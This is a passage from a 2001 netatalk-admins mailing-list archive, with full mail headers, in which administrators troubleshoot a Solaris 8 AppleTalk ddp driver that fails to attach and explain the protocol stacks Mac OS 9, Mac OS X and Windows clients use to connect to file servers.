	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 14:16:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA18479
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 14:16:05 -0400 (EDT)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA18471
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 14:16:04 -0400 (EDT)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id LAA11979;
	Wed, 5 Sep 2001 11:16:02 -0700 (PDT)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <R0D5KFY8>; Wed, 5 Sep 2001 11:15:50 -0700
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E30645032508D5@m4.ci.tacoma.wa.us>
To: kropp@aracnet.com
Cc: netatalk-admins@umich.edu
Subject: RE: Solaris 8 ddp driver problem
Date: Wed, 5 Sep 2001 11:15:51 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Ah - you think it is compiling in 64-bit mode - it's not.  If you add the
-m64 to the compile line, you will get a "not supported" message.  It will
compile, but in 32-bit mode.

> ----------
> From: 	Bruce Kropp
> Reply To: 	kropp@aracnet.com
> Sent: 	Wednesday, September 5, 2001 10:35 AM
> To: 	CSBURRIS@ci.tacoma.wa.us; sysadmin@theentertainer.net
> Cc: 	netatalk-admins@umich.edu
> Subject: 	Re: Solaris 8 ddp driver problem
> 
> Sure, I saw that two, and so I tried it in 32-bit mode
> (using gcc/g++ 2.95 on Solaris 8 01/01).  Both times
> it compiled fine (64-bit, and 32-bit modes), but both
> times I get the same message when running  make kinstall:
> 
>     add_drv -m '* 0666 root sys' ddp
>     devfsadm: driver failed to attach: ddp
>     Warning: Driver (ddp) successfully added to system but failed to
> attach
> 
> I have these entries in /etc/services:
> 
>    rtmp            1/ddp
>    nbp             2/ddp
>    echo            4/ddp
>    zip             6/ddp
>    afpovertcp      548/tcp
>    afpovertcp      548/udp
> 
> and this /etc/netconfig entry:
> 
>    ddp tpi_clts - appletalk ddp /dev/ddp -
> 
> but I've never seen the device /dev/ddp get
> created automatically.  So I hand created one
> with my best guess (which could be a bad one):
> 
>    /dev/ddp -> /devices/pseudo/ddp@0:ddp
> 
> Could you tell me what the device is supposed to
> look like (I assume it is in /devices/pseudo/... ),
> including major and minor numbers?
> 
> -bruce
> Bruce Kropp
> bruce@mail.thefourseasons.org
> 
> 
> CSBURRIS@ci.tacoma.wa.us wrote:
> > 
> > Well, I've tracked down the problem, but there is no good answer. It is
> > actually documented in  ./sys/solaris/Makefile.
> > 
> > GCC doesn't currently do 64 bit compiles.  64-bit Sun Solaris requires
> > 64-bit drivers.  The only way to make it work is to use Sun C, which
> costs a
> > cool $1300.  The only solution is to beg one from some one who has the
> > compiler and a similar architecture.
> > 
> > I politely suggest (again) that a downloadable binary be placed on the
> > sourceforge site or on SunFreeware.  I've asked at each place.
> > 
> > I received one myself, and have asked permission to re-distribute it,
> but
> > have not received it yet.
> > 
> > > ----------
> > > From:         Bruce
> > > Sent:         Monday, September 3, 2001 5:50 PM
> > > To:   netatalk
> > > Subject:      Solaris 8 ddp driver problem
> > >
> > > I've seen this question posed before, but have not seen an answer.
> > > It applies to all these verions:
> > >
> > > netatalk-1.4.99-0.20001108.tar
> > > netatalk-1.5pre6.tar
> > > netatalk-971027.tar
> > > netatalk-1.4b2+asun2.1.3.tar
> > > pre-asun2.1.4-38b_test.tar
> > >
> > > in ./sys/solaris directory,
> > > trying to run "make kinstall" on Solaris 8 (UltraSPARC-1),
> > > produces the following error message (same in both 32-bit and 64-bit):
> > >
> > >    ...
> > >    /usr/ucb/install -c ddp.conf /usr/kernel/drv/ddp.conf
> > >    add_drv -m '* 0666 root sys' ddp
> > >    devfsadm: driver failed to attach: ddp
> > >    Warning: Driver (ddp) successfully added to system but failed to
> > > attach
> > >    sync;sync;sync
> > >    ...
> > >
> > > After setting atalkd.conf with hme0,
> > > when atalkd is started, it produces the error message:
> > >
> > >    can't establish STREAMS plumbing, exiting.
> > >
> > > /var/adm/messages says this about ioctl(fd,  I_PUSH, "ddp") in
> > > ./etc/atalkd/config.c:
> > >
> > >    Sep  3 16:31:48 mail atalkd[12708]: [ID 174707 user.error] I_PUSH:
> > > Invalid argument
> > >
> > > I had to guess at a device (is this documented? ), using:
> > >
> > >    mknod /devices/psuedo/ddp@0:ddp c 92 1
> > >    ln -s /devices/psuedo/ddp@0:ddp   /dev/ddp
> > >
> > > Any hints?
> > >
> > > -bruce
> > > Bruce Kropp
> > > bruce@mail.thefourseasons.org
> > >
> > >
> > >
> 
> 

From netatalk.administrators-errors@umich.edu  Wed Sep  5 14:20:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04717
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 14:20:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA22326
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 14:20:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22315
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 14:20:44 -0400 (EDT)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA22302
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 14:20:43 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.2) with ESMTP id OAA10376;
	Wed, 5 Sep 2001 14:20:38 -0400
Date: Wed, 5 Sep 2001 14:20:38 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Bob Cent <cent@u.washington.edu>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Thank you.
In-Reply-To: <Pine.A41.4.33.0109051040280.44682-100000@homer35.u.washington.edu>
Message-ID: <Pine.LNX.4.33.0109051411280.26500-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 5 Sep 2001, Bob Cent wrote:

> Please help me keep this all straight (newbie!).  What protocols
> are used when one connects to a Linux server with:
>
> OS9  Chooser

appleshare over appletalk -- however, the client and server will
generally attempt
to negotiate a
connection using appleshare over IP before settling on appletalk

> OS9  Chooser Server IP

appleshare over TCP/IP

> OS10 Connect To Server

Depends what you type in! If you type in an address of the form
afp://myserver.myuniversity.edu it'll use appleshare over TCP/IP (it
assumes the afp:// if you omit it). If you
type in an address like http://myserver.myuniversity.edu it'll try to use
WebDAV. You can also use NFS.

> Windows Network Neighborhood

samba, but a full explanation of how the windows network neighborhood
works (or doesn't work) with samba is very longwinded.


steven

-- 
Steven Karel, Ph.D.
Biology Department, Brandeis Univ, MS 008
415 South St Waltham MA 02454-9110
TEL 781 736 3104   FAX 781 736 3107


From netatalk.administrators-errors@umich.edu  Wed Sep  5 14:22:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04764
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 14:22:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA12833
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 14:22:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA12822
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 14:22:42 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA12795
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 14:22:41 -0400 (EDT)
Received: by smtpout.mac.com; Wed, 5 Sep 2001 11:20:26 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GJ7CA200.8CL for
          <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 11:20:26 -0700 
Received: from [10.0.0.4] ([62.175.33.66]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GJ7CA000.G0Q; Wed, 5 Sep 2001 11:20:24 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 05 Sep 2001 20:20:22 +0200
Subject: Re: Slowing down while editing document on the client
From: Jason Quigley <jasonq@mac.com>
To: "Mikkel C. Simonsen" <mcs@post5.tele.dk>
CC: <netatalk-admins@umich.edu>
Message-ID: <B7BC3986.3EC%jasonq@mac.com>
In-Reply-To: <3B96648C.2A93@post5.tele.dk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 9/5/01 7:44 PM, "Mikkel C. Simonsen" <mcs@post5.tele.dk> wrote:

> Jason Quigley wrote:
>> 
>> Okay, this looks like you are connecting by selecting the server name in the
>> chooser. The system is trying to do an DNS lookup for the server name/domain
>> as it will try to see if the server talks ASIP before reverting to ASAT.
> 
> Are you sure about that? I have a test server running (Netatalk 1.5 pre
> 6 on FreeBSD). It isn't in the hostfile, and its not in the DNS, but the
> macs connect to it via TCP/IP when we click on the server in Chooser.
> 
> So I guess the IP-address information is sent via Appletalk.
> 
> Best regards,
> 
> Mikkel C. Simonsen
> 
> 

Yes, I am sure about this. This is from experience. Funnily enough though,
this stopped happening when we upgraded to 1.5pre6 on FreeBSD from 1.4 on
Debian Linux 2.2.

I wonder if it's anything to do with the way networking works on each of
these platforms. I have always found FreeBSD to kick Debian's rump on the
same hardware in terms of transfer speed.

So, I guess I should have asked what version (of netatalk) "stable" means.

Cheers,
Jason.


From netatalk.administrators-errors@umich.edu  Wed Sep  5 15:40:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA08201
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 15:40:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA02981
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 15:40:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02970
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 15:40:00 -0400 (EDT)
Received: from cdserv.meridian-data.com (cdserv.meridian-data.com [206.79.177.152])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02937
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 15:39:59 -0400 (EDT)
Received: by cdserv.meridian-data.com with Internet Mail Service (5.5.2653.19)
	id <RY414PA4>; Wed, 5 Sep 2001 12:41:49 -0700
Message-ID: <51F1673834E2D211A9B400104B3FFD5A015120BA@cdserv.meridian-data.com>
From: "Seitz, Matt" <mseitz@snapappliances.com>
To: netatalk-admins@umich.edu
Subject: RE: Thank you.
Date: Wed, 5 Sep 2001 12:41:48 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

>Please help me keep this all straight (newbie!).  What protocols
>are used when one connects to a Linux server with:

>OS9  Chooser

Protocols:  
Datagram Delivery Protocol (DDP), Name Binding Protocol (NBP), AppleTalk
Transaction Protocol (ATP), AppleTalk Session Protocol (ASP), AppleTalk
Filing Protocol (AFP)

Stacks:
NBP and ATP run on top of DDP.  ASP runs on top of ATP.  AFP runs on top of
ASP.

   /-NBP
DDP
   \-ATP-ASP-AFP

Semantics:
The OS 9 Chooser uses Name Binding Protocol (NBP) to find servers and
display their names.  When a user selects a server in Chooser, the client
uses NBP to get the server's AppleTalk Address.  The client then connects to
the server using AFP on ASP/ATP.  

>OS9  Chooser Server IP

Protocols:  
Datagram Delivery Protocol (DDP), Name Binding Protocol (NBP), AppleTalk
Transaction Protocol (ATP), AppleTalk Session Protocol (ASP), TCP/IP, Data
Stream Interface (DSI), AppleTalk Filing Protocol (AFP)

Stacks:
NBP and ATP run on top of DDP.  ASP runs on top of ATP.  TCP runs on top of
IP.  DSI runs on top of TCP.  AFP runs on top of ASP and DSI.

   /-NBP
DDP
   \-ATP-ASP-\
              AFP
  IP-TCP-DSI-/

Semantics:
The OS 9 Chooser uses Name Binding Protocol (NBP) to find servers and
display their names.  When a user selects a server in Chooser, the client
uses NBP to get the server's AppleTalk Address.  The client then sends an
AppleTalk Filing Protocol (AFP) command on AppleTalk to the server, asking
for the server's IP address.  If the server responds with an IP address,
then the client establishes a connection to the server using AFP on
DSI/TCP/IP.  If the server does not return an IP address, or the client
fails to connect to the server using AFP on DSI/TCP/IP, then the client
establishes a connection to the server using AFP on ASP/ATP.  If the user
types the server's IP address into the Chooser, then the client immediately
connects to the server using AFP over DSI/TCP/IP.

>OS X 10.0 Connect To Server:

Protocols:  
TCP/IP, Service Location Protocol, Data Stream Interface (DSI), AppleTalk
Filing Protocol (AFP)

Stacks:
TCP runs on top of IP.  DSI and SLP run on top of TCP.  AFP runs on top of
ASP and DSI.

        /-SLP
  IP-TCP
        \-DSI-AFP

Semantics:

The OS X 10.0 Connect to Server dialog does not support NBP.  Instead, it
uses Service Location Protocol (SLP) to find servers and their IP address.
If your server does not support SLP, you must type in the IP address by
hand.  The client will then connect to the AFP server using AFP on
DSI/TCP/IP.

>Windows Network Neighborhood

Protocols:  
TCP/IP, Microsoft NetBIOS on TCP/IP (NBT), Microsoft Network Browser
(Browser), Windows Internet Naming Service (WINS), Directory Naming Service
(DNS), Common Internet File System (CIFS) [previously called Server Message
Block (SMB)]

Stacks:
TCP runs on top of IP.  Browser, WINS, and DNS run on top of TCP.  NBT runs
on top of WINS, DNS, TCP, and IP.  CIFS runs on top of NBT.

           |-Browser
     /-TCP-|-WINS-|
    /      |-DNS--|
  IP       |------|-NBT-CIFS
    \             |
     \------------|

Semantics:  Network Neighborhood uses the Browser protocol to find and
display server names.  When a user selects a server name, NBT uses a
combination of WINS, DNS, and IP broadcasts to find the IP address of the
server.  CIFS then uses NBT on top of TCP to connect to the server.


From netatalk.administrators-errors@umich.edu  Wed Sep  5 17:42:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA14009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 17:42:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA28824
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 17:42:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA28819
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 17:42:41 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA28784
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 17:42:39 -0400 (EDT)
Received: from [213.217.186.5] (h217-186-5.BO.genie.it [213.217.186.5] (may be forged))
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id XAA01869;
	Wed, 5 Sep 2001 23:46:27 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 05 Sep 2001 23:46:05 +0200
Subject: Re: Thank you.
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Seitz, Matt" <mseitz@snapappliances.com>, <netatalk-admins@umich.edu>
Message-ID: <B7BC6981.10B6F%Thomas.Kaiser@phg-online.de>
In-Reply-To: <51F1673834E2D211A9B400104B3FFD5A015120BA@cdserv.meridian-data.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 5 Sep 2001 12:41:48 -0700, Seitz, Matt wrote:

> The client then sends an AppleTalk Filing Protocol (AFP) command on AppleTalk
> to the server, asking for the server's IP address.

Can you explain this a bit please? Using AFP 2.1/2.2, I thought that the
afp-client sends out a FPGetSrvrInfo request. The afp-server answers a lot
of stuff (its name, the uams it supports, etc. and finally a list of
connection methods the servers supports).

Each entry in this list will include

- AFP over AppleTalk or TCP
- address type (ip address + port or FQDN + port or AppleTalk address)
- the real address depending on the address type above

So the afp server provides _every_ connection method it has been configured
to publish. 

> If the server responds with an IP address, then the client establishes a
> connection to the server using AFP on DSI/TCP/IP.

I thought that this is the afp-clients decision if the afp connection can be
established by more than one method?

AppleShare clients prior to AFAIR 3.7.4 prefer AFP over AppleTalk (even if
the server says, that it can also 'speak' AFP over TCP). Recent versions do
the opposite. It also depends on whether you hold down the [option] key or
not to force the non-default behaviour.

If the AppleShare clients wants to connect via AFP over TCP then it will try
to ping the servers ip address before trying to establish a connection on
the afp port. If ICMP is filtered between client and server the client will
never attempt to use AFP over TCP and will instantly try to use AFP over
AppleTalk (but you can disable the 'Verify IP address' feature using Apple's
'AppleShare Client Setup' utility)

If the client can ping the server it will try to connect to the afp port on
that server. It will try this until the default timeout will be reached (you
can edit this value also using Apple's utility) and will do a fallback to
AFP over AppleTalk afterwards.

> [...]
>> OS X 10.0 Connect To Server:
> 
> Protocols:  
> TCP/IP, Service Location Protocol, Data Stream Interface (DSI), AppleTalk
> Filing Protocol (AFP)

MacOS X 10.0 speaks AFP 3.0. And this version only supports AFP over TCP.
No support for AppleTalk any longer (please note also: the definition of AFP
has changed --> these days it should be spoken as 'Apple Filing Protocol' to
avoid confusion with 'AppleTalk')                  ^^^^^

MacOS X 10.1 will speak AFP 2.2 too, so connections can be established also
via AppleTalk.

Maybe I'm completely wrong. Any input greatly appreciated.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Sep  5 17:56:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA14877
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 17:56:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA08477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 17:56:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA08466
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 17:56:21 -0400 (EDT)
Received: from cdserv.meridian-data.com (cdserv.meridian-data.com [206.79.177.152])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA08453
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 17:56:20 -0400 (EDT)
Received: by cdserv.meridian-data.com with Internet Mail Service (5.5.2653.19)
	id <RY414P8B>; Wed, 5 Sep 2001 14:58:10 -0700
Message-ID: <51F1673834E2D211A9B400104B3FFD5A015120BB@cdserv.meridian-data.com>
From: "Seitz, Matt" <mseitz@snapappliances.com>
To: netatalk-admins@umich.edu
Subject: RE: Thank you.
Date: Wed, 5 Sep 2001 14:58:10 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I believe your information is all correct.  I chose to omit some of these
details to simplify my explanation.  

One clarification:
>MacOS X 10.0 speaks AFP 3.0. And this version only supports AFP over TCP.
>No support for AppleTalk any longer.

True, but a MacOS X 10.0 client can also access an AFP 2.1 or 2.2 server
using TCP.  However, the Mac OSX 10.0 AFP client behaves a bit differently
than the OS 9.X and earlier AFP clients, so it may have some problems
accessing some existing AFP 2.1/2.2 servers.

From netatalk.administrators-errors@umich.edu  Wed Sep  5 18:06:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15770
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 18:06:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA15351
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 18:06:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA15347
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 18:06:20 -0400 (EDT)
Received: from latimer.mail.uk.easynet.net (latimer.mail.uk.easynet.net [195.40.1.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA15320
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 18:06:18 -0400 (EDT)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by latimer.mail.uk.easynet.net (Postfix) with ESMTP id 5C07153A28
	for <netatalk-admins@umich.edu>; Wed,  5 Sep 2001 23:06:08 +0100 (BST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.3)
          with ESMTP id f85M68M22280;
          Wed, 5 Sep 2001 23:06:08 +0100
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b7bc4ff5ac58@[192.168.195.62]>
In-Reply-To: <B7BC6981.10B6F%Thomas.Kaiser@phg-online.de>
References: <B7BC6981.10B6F%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Wed, 5 Sep 2001 23:06:07 +0100
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re: Thank you.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Thomas Kaiser's message of the 05/09/2001 at 23:46 +0200,


>Can you explain this a bit please? Using AFP 2.1/2.2, I thought that the
>afp-client sends out a FPGetSrvrInfo request. The afp-server answers a lot
>of stuff (its name, the uams it supports, etc. and finally a list of
>connection methods the servers supports).
>
>Each entry in this list will include
>
>- AFP over AppleTalk or TCP
>- address type (ip address + port or FQDN + port or AppleTalk address)
>- the real address depending on the address type above
>
>So the afp server provides _every_ connection method it has been configured
>to publish.
>
>>  If the server responds with an IP address, then the client establishes a
>>  connection to the server using AFP on DSI/TCP/IP.
>
>I thought that this is the afp-clients decision if the afp connection can be
>established by more than one method?

This is exactly what happens; you are right in every detail. I was 
tracing down a problem where the client was always connecting via 
AppleTalk instead of TCP/IP and have a bunch of pkt traces showing 
exactly this sequence of events.
-- 
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Wed Sep  5 18:14:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA16794
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 18:14:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA11490
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 18:14:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA11487
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 18:14:33 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id SAA11453
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 18:14:30 -0400 (EDT)
Received: (qmail 12845 invoked from network); 5 Sep 2001 22:14:03 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 5 Sep 2001 22:14:03 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Palotas Peter'" <sysman@starkingnet.hu>,
        "'netatalk-admins'" <netatalk-admins@umich.edu>
Cc: "'Jason Quigley'" <jasonq@mac.com>
Subject: RE: Slowing down while editing document on the client
Date: Thu, 6 Sep 2001 08:13:50 +1000
Message-ID: <000601c13658$0b2cc570$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="UTF-8"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <20010905114921.24479@mail.starkingnet.hu>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA16794

consider running something like djb's dnscache - will make name resolution a lot faster:

http://cr.yp.to/djbdns.html

it's one component of a range of dns tools.

-----Original Message-----
From: Palotas Peter [mailto:sysman@starkingnet.hu]
Sent: Wednesday, 5 September 2001 21:49
To: netatalk-admins
Cc: Jason Quigley
Subject: Re: Slowing down while editing document on the client


Jason,

>Jason Quigley (jasonq@mac.com):

>Just a couple of quick questions...
>
>You complained about tcp being slow.

Yes. We have a LAN which connets to the Internet via Cisco 706 ISDN modem.

>o What sort of DNS setup have you got?

We don't have dns server in the LAN. We use our Internet provider's NSs
if it is needed. These are set in the clients and the server as well.

>o Are these machines connected to the internet?
>o How?

Yes. See below.

>o What have you got in your hosts files (macs and server)?

On macs it is empty. I will chech the server and inform you!

Peter
>
>On Tuesday, September 4, 2001, at 12:38 PM, Palotas Peter wrote:
>
>> Anatol,
>>
>> Currently I don't use noadouble, I only have the notcp options.
>>
>> Peter
>>
>>> Anatol Ulrich (anatol.ulrich@text-bild.de):
>>
>>> Peter,
>>>
>>>>
>>>> The noadouble option my servers appears very-very slow. I tried it
>>>> because we use samba as well and PC users confused the .AppleDouble
>>>> folders.
>>>>
>>> donĀ“t use noadouble; hide the .AppleDouble folders in samba with the
>>> parameter    veto files
>>>
>>> -anatol
>>>
>>>
>


From netatalk.administrators-errors@umich.edu  Wed Sep  5 18:25:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA18158
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 18:25:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA15796
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 18:25:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA15794
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 18:25:12 -0400 (EDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA15779
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 18:25:11 -0400 (EDT)
Received: from apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id PAA16151
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 15:25:10 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T55cf61bff1118164e14ec@apple.com>;
 Wed, 5 Sep 2001 15:25:10 -0700
Received: from wallle (wallle.apple.com [17.221.40.211])
